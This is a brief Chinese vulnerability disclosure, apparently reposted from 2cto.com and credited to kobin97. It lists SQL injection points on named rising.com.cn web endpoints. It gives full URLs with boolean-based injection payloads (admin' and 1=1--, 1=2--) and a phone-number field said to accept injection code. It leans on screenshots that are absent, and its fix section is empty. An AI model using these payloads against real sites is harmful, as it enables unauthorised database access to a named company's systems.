注入点1：
http://chat.rising.com.cn/WebChatReg/deal/findphone.ashx?phone=13800138000&un=admin%27%20and%201=1--
http://chat.rising.com.cn/WebChatReg/deal/findphone.ashx?phone=13800138000&un=admin%27%20and%201=2--
 
注入点2： www.2cto.com
http://hd.rising.com.cn/caipiao/usercenter.aspx
手机号码处写入注入代码
看图吧






http://alert.rising.com.cn/spyware/s.asp?name=%B9%E3%B8%E6%B2%E5%BC%FELsmgr
 
还是看图吧。。。


 
修复方案：
应该懂得！
作者：kobin97